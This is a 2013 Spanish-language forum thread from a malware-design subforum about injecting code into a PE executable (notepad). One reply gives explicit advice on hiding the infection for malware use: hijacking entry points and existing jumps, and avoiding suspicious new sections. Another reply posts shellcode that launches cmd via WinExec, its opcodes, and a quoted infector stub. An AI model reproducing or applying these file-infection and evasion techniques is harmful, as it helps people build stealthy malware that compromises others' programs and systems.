elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  alguien recuerda como se ejecutaba codigo con runPE como explico ferchu?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: alguien recuerda como se ejecutaba codigo con runPE como explico ferchu?  (Leído 7,331 veces)
x64core


Desconectado Desconectado

Mensajes: 1.908


Ver Perfil
Re: alguien recuerda como se ejecutaba codigo con runPE como explico ferchu?
« Respuesta #10 en: 16 Julio 2013, 23:03 pm »

Pense que estabas codificandolo,

Primero el codigo en ensamblador es para generar una entera imagen PE, lo que necesitas es un tipo de shellcode, un codigo independiente,
sin cabeceras , y que pueda valerse sin la informacion de las cabeceras y directorios de una imagen PE. en tu codigo usas importaciones directas
del directorio lo que necesitas es obtener los puntero a la funciones escaneando la tabla de exportaciones del modulo, este articulo lo explica bien
http://blog.harmonysecurity.com/2009_06_01_archive.html
tambien vi algunos codigos aqui en el foro.

notepad con una nueva sección de tamano 0x300 y aligneado a 0x400 para que puedas verificar como funciona lo de la alineacion.
http://www.sendspace.com/file/g3ke1a

el campo AddressOfEntryPoint de una imagen PE, es el que indica donde se encuentra la primera instruccion del ejecutable, este es
una direccion virtual. yo he agregado unos NOPs luego un ret, lo que debes hacer es agregar tu codigo en tal punto.

Debido a que yo no se si esto es para aprender como funciona, para usarlo en malware ,etc. mas cosas pueden ser hechas, por ejemlo
si es para malware entonces debes de deriguir al original punto de entrada para que todo funcione bien, de esta manera primero se
ejecutara tu codigo luego se redireccionara al original punto y el programa se ejecutara normalmente.

Todo esto es explicado en el enlace al manual que deje, y es posible que quieras mirar el proposito de BaseOfCode de una imagen PE,
No lo se depende de lo que quieras.

Ademas, hay muchas maneras de hacer este tipo de cosas.
para malware agregar una sección de esta manera no es nada  y muy sospechoso, yo prefiero alargar la sección de codigo,
no cambiar el punto de entrada, en lugar buscar por un conjunto de instrucciones que nos ayude a ocultar la infeccion, por
ejemplo un JMP directo o indirecto, CALL lo mismo que JMP, RET, o algun salto condicional que no sea corto y redireccionarlo a
nuestro codigo, luego restaurarlo. 


En línea

Belial & Grimoire


Desconectado Desconectado

Mensajes: 559


Tea_Madhatter


Ver Perfil
Re: alguien recuerda como se ejecutaba codigo con runPE como explico ferchu?
« Respuesta #11 en: 17 Julio 2013, 04:05 am »

pues ya logre solucionar esa parte, era borrar 28 hexadecimales pero no sobreescribir, sino insertar 28 hexadecimales para colocar la nueva sección asi todo vuelve a su lugar, tambien modifique el PE, antes era E0 - 28 = B8

tambien uso un codigo en asm de una shell

Código
  1. [BITS 32]                  
  2.  
  3. jmp short cmd                
  4.  
  5. init:
  6.   mov edx,7634e695h    
  7.   call edx                            
  8.   mov edx,76312acfh      
  9.   call edx                          
  10. cmd:
  11.   CALL init
  12.   db 'cmd',00h  

al compilarlo me aparece la shell sin ningun problema cambiando las direcciones de WinExec y ExitProcess, suspuse que eso era lo que tenia que agregar en el block, asi que tambien modifique el numero del espacio en la sección, ya que habia puesto 17, y los opcodes son 26

despues de modificar eso, agregue los opcode sacados con ollydbg

Código:
CPU Disasm
Address   Hex dump          Command                                  Comments
00401000   . /EB 0E         JMP SHORT 00401010
00401002   $ |BA 95E63476   MOV EDX,7634E695
00401007   . |FFD2          CALL EDX
00401009   . |BA CF2A3176   MOV EDX,76312ACF
0040100E   . |FFD2          CALL EDX
00401010   > \E8 EDFFFFFF   CALL 00401002
00401015   .  636D 64       ARPL WORD PTR SS:[EBP+64],BP
00401018   .  00FF          ADD BH,BH

Código:
EB0EBA95E63476FFD2BACF2A3176FFD2E8EDFFFFFF636D6400FF

pero al ejecutarlo, abre normalmente el block de notas pero no me aparece la shell

leyendo nuevamente el codigo de ferchu pone

Código:
codigo                                OPcodes

Cadena titulo                         "Soy el notepad y estoy infectado!!!\0"
Cadena msg                            "Infectado!!!\0"
call [siguiente instruccion]          E8 00 00 00 00
pop eax                               58
push 0                                6A 00
sub eax, 0x12                         2C 12
push eax                              50
sub eax, 0x24                         2C 24
push eax                              50
push 0                                6A 00
mov eax, 0x77D5050B                   B8 0B 05 D5 77       // B8 + direccion de MessageBoxA
call eax                              FF D0
mov eax, 0x010739D                    B8 9D 73 00 01       // B8 + entry point
jmp eax                               FF E0

asi que quise agregar B8 a las direcciones, pero tampoco se ejecuta la shell

Código:
EB0EBAB895E63476FFD2BAB8CF2A3176FFD2E8EDFFFFFF636D6400FF

Código:
EB0EBA-->B8<--95E63476FFD2BA-->B8<--CF2A3176FFD2E8EDFFFFFF636D6400FF

que podria estar pasando?
En línea

.                                 
Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Alguien Recuerda?...
Ingeniería Inversa
4rS3NI( 2 2,306 Último mensaje 7 Febrero 2005, 02:38 am
por 4rS3NI(
¿Que es?¿Como funciona Click'n'Load 2 Jdownloader en PHP & AES?Te Explico
Dudas Generales
Weeken 0 8,984 Último mensaje 23 Mayo 2013, 22:48 pm
por Weeken
Alguien recuerda el efecto transicion de pagina de IE?
Desarrollo Web
WHK 3 2,465 Último mensaje 7 Agosto 2013, 16:32 pm
por #!drvy
como crear mi propio runpe guias
Análisis y Diseño de Malware
zerointhewill 9 5,050 Último mensaje 22 Enero 2016, 03:18 am
por Arnaldo Otegi
Codigo C# en XNA como es en VB2013 en XNA
.NET (C#, VB.NET, ASP)
Tazmania40 6 4,902 Último mensaje 13 Junio 2017, 15:55 pm
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines